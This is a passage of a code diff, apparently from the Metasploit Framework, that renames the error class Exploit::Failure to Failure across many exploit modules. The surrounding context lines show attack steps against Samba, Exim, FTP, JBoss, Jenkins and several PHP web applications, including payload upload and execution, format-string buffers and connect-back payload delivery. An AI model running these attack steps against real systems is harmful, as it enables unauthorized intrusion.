fail_with(Exploit::Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this")
|
||||
fail_with(Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this")
|
||||
end
|
||||
|
||||
# Write msf payload to /tmp and give provide executable perms
|
||||
|
|
|
@ -344,7 +344,7 @@ EOS
|
|||
#puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',')
|
||||
|
||||
if (len == 24 and value.length != 198)
|
||||
fail_with(Exploit::Failure::BadConfig, "Value is too big! #{value.length}")
|
||||
fail_with(Failure::BadConfig, "Value is too big! #{value.length}")
|
||||
end
|
||||
|
||||
buf = "\xdd" + value.length.chr + value
|
||||
|
|
|
@ -85,11 +85,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Mongo server #{datastore['RHOST']} use authentication...")
|
||||
if !datastore['USERNAME'] || !datastore['PASSWORD']
|
||||
disconnect
|
||||
fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided")
|
||||
fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided")
|
||||
end
|
||||
if do_login==0
|
||||
disconnect
|
||||
fail_with(Exploit::Failure::NoAccess, "Authentication failed")
|
||||
fail_with(Failure::NoAccess, "Authentication failed")
|
||||
end
|
||||
else
|
||||
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
|
||||
|
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
|
||||
if read_only?(collection)
|
||||
disconnect
|
||||
fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
|
||||
fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
|
||||
else
|
||||
print_good("New document created in collection #{collection}")
|
||||
end
|
||||
|
@ -172,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
disconnect
|
||||
rescue ::Exception => e
|
||||
fail_with(Exploit::Failure::Unreachable, "Unable to connect")
|
||||
fail_with(Failure::Unreachable, "Unable to connect")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
|
||||
if check != Exploit::CheckCode::Vulnerable
|
||||
fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
|
||||
fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
|
||||
end
|
||||
|
||||
stage = "setsid nohup #{payload.encoded} & "
|
||||
|
|
|
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
|
||||
# res[8,2] => Reply Type
|
||||
# res[15,1] => Connection Status
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed")
|
||||
fail_with(Failure::UnexpectedReply, "Service Connection failed")
|
||||
end
|
||||
print_good("Service Connection successful")
|
||||
|
||||
|
|
|
@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (buf = sock.get_once(-1, 5) || '')
|
||||
#print_status("\n" + Rex::Text.to_hex_dump(buf))
|
||||
if (buf =~ /is not allowed to connect/)
|
||||
fail_with(Exploit::Failure::Unreachable, 'The server refused our connection!')
|
||||
fail_with(Failure::Unreachable, 'The server refused our connection!')
|
||||
end
|
||||
|
||||
len1,cmd = buf[0,5].unpack('VC')
|
||||
|
@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
|
||||
if (not mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unable to detect target automatically')
|
||||
fail_with(Failure::NoTarget, 'Unable to detect target automatically')
|
||||
else
|
||||
print_status("Using automatically detected target: #{mytarget.name}")
|
||||
end
|
||||
|
|
|
@ -234,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if ! @checked_peerlm
|
||||
if smb_peer_lm !~ /Samba 3\.0\.2[1234]/i
|
||||
fail_with(Exploit::Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
|
||||
fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -82,11 +82,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if ! @checked_peerlm
|
||||
if smb_peer_lm !~ /samba/i
|
||||
fail_with(Exploit::Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}")
|
||||
fail_with(Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}")
|
||||
end
|
||||
|
||||
if smb_peer_lm =~ /Samba [34]\./i
|
||||
fail_with(Exploit::Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
|
||||
fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Needs to be on the port 80
|
||||
if datastore['SRVPORT'].to_i != 80
|
||||
fail_with(Exploit::Failure::Unknown, 'The Web Server needs to live on SRVPORT=80')
|
||||
fail_with(Failure::Unknown, 'The Web Server needs to live on SRVPORT=80')
|
||||
end
|
||||
|
||||
#do not use SSL
|
||||
|
@ -144,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}")
|
||||
if self.banner.to_s !~ /Exim /
|
||||
disconnect
|
||||
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!")
|
||||
fail_with(Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!")
|
||||
end
|
||||
|
||||
ehlo = datastore['EHLO']
|
||||
|
@ -168,7 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
resp ||= 'no response'
|
||||
msg = "MAIL: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{msg}")
|
||||
end
|
||||
|
@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
resp ||= 'no response'
|
||||
msg = "RCPT: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{msg}")
|
||||
end
|
||||
|
@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
resp ||= 'no response'
|
||||
msg = "DATA: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '354'
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{msg}")
|
||||
end
|
||||
|
@ -198,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
resp = raw_send_recv(message)
|
||||
msg = "DELIVER: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{msg}")
|
||||
end
|
||||
|
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
loop do
|
||||
data = sock.get_once(-1, 5) rescue nil
|
||||
if not data
|
||||
fail_with(Exploit::Failure::Unknown, "This system does not support encryption")
|
||||
fail_with(Failure::Unknown, "This system does not support encryption")
|
||||
end
|
||||
break if data.index("\xff\xfa\x26\x02\x01")
|
||||
end
|
||||
|
|
|
@ -157,7 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)
|
||||
if datastore["APPLETNAME"]
|
||||
unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
|
||||
fail_with(Exploit::Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
|
||||
fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
|
||||
end
|
||||
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
|
||||
# Java strings are prefixed with a 2-byte, big endian length
|
||||
|
|
|
@ -140,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
|
||||
if (not connect_login)
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to authenticate')
|
||||
fail_with(Failure::Unknown, 'Unable to authenticate')
|
||||
end
|
||||
|
||||
# Use a copy of the target
|
||||
|
@ -154,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("FTP Banner: #{banner.strip}")
|
||||
version = m[1]
|
||||
else
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
regexp = Regexp.escape(version)
|
||||
|
@ -166,7 +166,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if (not mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
print_status("Selected Target: #{mytarget.name}")
|
||||
|
@ -198,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# detect the number of pad bytes
|
||||
idx = stack_data.index("aaaabbbb")
|
||||
if not idx
|
||||
fail_with(Exploit::Failure::Unknown, "Whoa, didn't find the static bytes on the stack!")
|
||||
fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!")
|
||||
end
|
||||
num_pad = 0
|
||||
num_pad = 4 - (idx % 4) if (idx % 4) > 0
|
||||
|
@ -258,7 +258,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fmtbuf.gsub!(/\xff/, "\xff\xff")
|
||||
if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
|
||||
if res[0,4] == "500 "
|
||||
fail_with(Exploit::Failure::Unknown, "Something went wrong when uploading the payload...")
|
||||
fail_with(Failure::Unknown, "Something went wrong when uploading the payload...")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
if not datastore['ExitOnSession'] and not job_id
|
||||
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
|
||||
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
|
||||
end
|
||||
|
||||
stime = Time.now.to_f
|
||||
|
|
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
|
||||
print_status("#{@peer} - Authenticated successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
|
||||
fail_with(Failure::NoAccess, "#{@peer} - Authentication failed")
|
||||
end
|
||||
|
||||
# search for writable directories
|
||||
|
@ -161,7 +161,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
|
||||
dir = "#{base}#{$1}"
|
||||
|
@ -179,10 +179,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
|
||||
print_good("#{@peer} - File uploaded successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
|
||||
fail_with(Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
|
||||
# search directories in the web root for the file
|
||||
|
@ -195,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'cookie' => datastore['COOKIE'],
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
|
||||
dir = $1.gsub('\\','')
|
||||
|
@ -212,7 +212,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => "/#{dir}/#{@fname}"
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
if res and res.code != 200
|
||||
print_error("#{@peer} - Executing payload failed")
|
||||
|
|
|
@ -604,9 +604,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Getting information to undeploy...")
|
||||
viewstate, entry = get_delete_info(session, version, app_base)
|
||||
if (not viewstate)
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to get viewstate")
|
||||
fail_with(Failure::Unknown, "Unable to get viewstate")
|
||||
elsif (not entry)
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to get entry")
|
||||
fail_with(Failure::Unknown, "Unable to get entry")
|
||||
end
|
||||
|
||||
print_status("Undeploying #{app_base}...")
|
||||
|
@ -802,7 +802,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#Set target
|
||||
mytarget = target
|
||||
mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
|
||||
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") if (not mytarget)
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target") if (not mytarget)
|
||||
|
||||
#Generate payload
|
||||
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
|
||||
|
|
|
@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sid = "#{$2}"
|
||||
print_good("#{@peer} - Authenticated successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
|
||||
fail_with(Failure::NoAccess, "#{@peer} - Authentication failed")
|
||||
end
|
||||
|
||||
# upload PHP payload
|
||||
|
@ -150,10 +150,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res and res.code == 301 and res['location'] =~ /Setting saved/
|
||||
print_good("#{@peer} - File uploaded successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
|
||||
fail_with(Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
|
||||
# retrieve PHP file path
|
||||
|
@ -165,14 +165,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'cookie' => "sid#{token}=#{sid}"
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
|
||||
shell_uri = "#{$1}"
|
||||
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
|
||||
print_good("#{@peer} - Found payload file path (#{shell_uri})")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
|
||||
fail_with(Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
|
||||
end
|
||||
|
||||
# retrieve and execute PHP payload
|
||||
|
@ -183,10 +183,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(base, shell_uri),
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
if !res or res.code != 200
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
|
||||
fail_with(Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}) #default timeout, we don't care about the response
|
||||
|
||||
if not res
|
||||
fail_with(Exploit::Failure::NotFound, 'The server did not respond to our request')
|
||||
fail_with(Failure::NotFound, 'The server did not respond to our request')
|
||||
end
|
||||
|
||||
resp = res.body.split(key)
|
||||
|
|
|
@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if not res
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login")
|
||||
fail_with(Failure::Unknown, "#{peer} - Connection timed out during login")
|
||||
end
|
||||
|
||||
# CpqElm-Login: success
|
||||
|
@ -166,7 +166,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_command(cmd)
|
||||
if res && res.code != 200
|
||||
vprint_error("Unexpected response:\n#{res}")
|
||||
fail_with(Exploit::Failure::Unknown, "There was an unexpected response")
|
||||
fail_with(Failure::Unknown, "There was an unexpected response")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -175,7 +175,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?
|
||||
@cookie = login
|
||||
if @cookie.empty?
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login failed")
|
||||
else
|
||||
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
|
||||
end
|
||||
|
|
|
@ -142,7 +142,7 @@ EOT
|
|||
if (target.name =~ /Automatic/)
|
||||
mytarget = auto_target()
|
||||
if (not mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
print_status("Automatically selected target \"#{mytarget.name}\"")
|
||||
else
|
||||
|
@ -294,18 +294,18 @@ EOT
|
|||
print_status("Attempting to use '#{p}' as package")
|
||||
res = invoke_bshscript(bsh_script, p)
|
||||
if !res
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR [No Response]")
|
||||
fail_with(Failure::Unknown, "Unable to deploy WAR [No Response]")
|
||||
end
|
||||
|
||||
if (res.code < 200 || res.code >= 300)
|
||||
case res.code
|
||||
when 401
|
||||
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
fail_with(Exploit::Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
fail_with(Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
end
|
||||
|
||||
print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
|
||||
fail_with(Exploit::Failure::Unknown, "Invalid reply: #{res.code} #{res.message}")
|
||||
fail_with(Failure::Unknown, "Invalid reply: #{res.code} #{res.message}")
|
||||
else
|
||||
success = true
|
||||
@pkg = p
|
||||
|
@ -314,7 +314,7 @@ EOT
|
|||
end
|
||||
|
||||
if not success
|
||||
fail_with(Exploit::Failure::Unknown, "Failed to deploy the WAR payload")
|
||||
fail_with(Failure::Unknown, "Failed to deploy the WAR payload")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -372,11 +372,11 @@ EOT
|
|||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
|
|
|
@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (target.name =~ /Automatic/)
|
||||
mytarget = auto_target()
|
||||
if (not mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
print_status("Automatically selected target \"#{mytarget.name}\"")
|
||||
else
|
||||
|
@ -360,11 +360,11 @@ EOT
|
|||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
|
|
|
@ -105,11 +105,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
|
@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (target.name =~ /Automatic/)
|
||||
mytarget = auto_target()
|
||||
if (not mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
print_status("Automatically selected target \"#{mytarget.name}\"")
|
||||
else
|
||||
|
@ -198,14 +198,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}, 30)
|
||||
end
|
||||
if (! res)
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR archive [No Response]")
|
||||
fail_with(Failure::Unknown, "Unable to deploy WAR archive [No Response]")
|
||||
end
|
||||
if (res.code < 200 or res.code >= 300)
|
||||
case res.code
|
||||
when 401
|
||||
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
end
|
||||
fail_with(Exploit::Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
|
||||
fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
# wait for the data to be sent
|
||||
|
@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > 30)
|
||||
fail_with(Exploit::Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
|
||||
fail_with(Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
request_parameters['cookie'] = @cookie if @cookie != nil
|
||||
res = send_request_cgi(request_parameters)
|
||||
if not (res and res.code == 200)
|
||||
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
|
||||
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -143,7 +143,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
||||
print_status('Checking access to the script console')
|
||||
res = send_request_cgi({'uri' => "#{@uri.path}script"})
|
||||
fail_with(Exploit::Failure::Unknown) if not res
|
||||
fail_with(Failure::Unknown) if not res
|
||||
|
||||
@cookie = nil
|
||||
if res.code != 200
|
||||
|
@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
|
||||
fail_with(Exploit::Failure::NoAccess, 'login failed')
|
||||
fail_with(Failure::NoAccess, 'login failed')
|
||||
end
|
||||
sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0]
|
||||
@cookie = "#{sessionid}"
|
||||
|
|
|
@ -114,10 +114,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/
|
||||
print_good("#{@peer} - File uploaded successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
|
||||
fail_with(Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
|
||||
# retrieve and execute PHP payload
|
||||
|
@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(base, 'userpictures', "#{@fname}.php")
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -203,7 +203,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_good("#{peer} - Login successful")
|
||||
session = $1
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Leaking current Network Information...")
|
||||
|
|
|
@ -105,9 +105,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res and res.body =~ /401 Authorization failed/
|
||||
fail_with(Exploit::Failure::NoAccess, "Unable to log in!")
|
||||
fail_with(Failure::NoAccess, "Unable to log in!")
|
||||
elsif not (res and res.code == 200)
|
||||
fail_with(Exploit::Failure::Unknown, 'Failed to execute command.')
|
||||
fail_with(Failure::Unknown, 'Failed to execute command.')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -117,11 +117,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Grabbing CSRF token...")
|
||||
response = send_request_cgi({ 'uri' => uri})
|
||||
if response.nil?
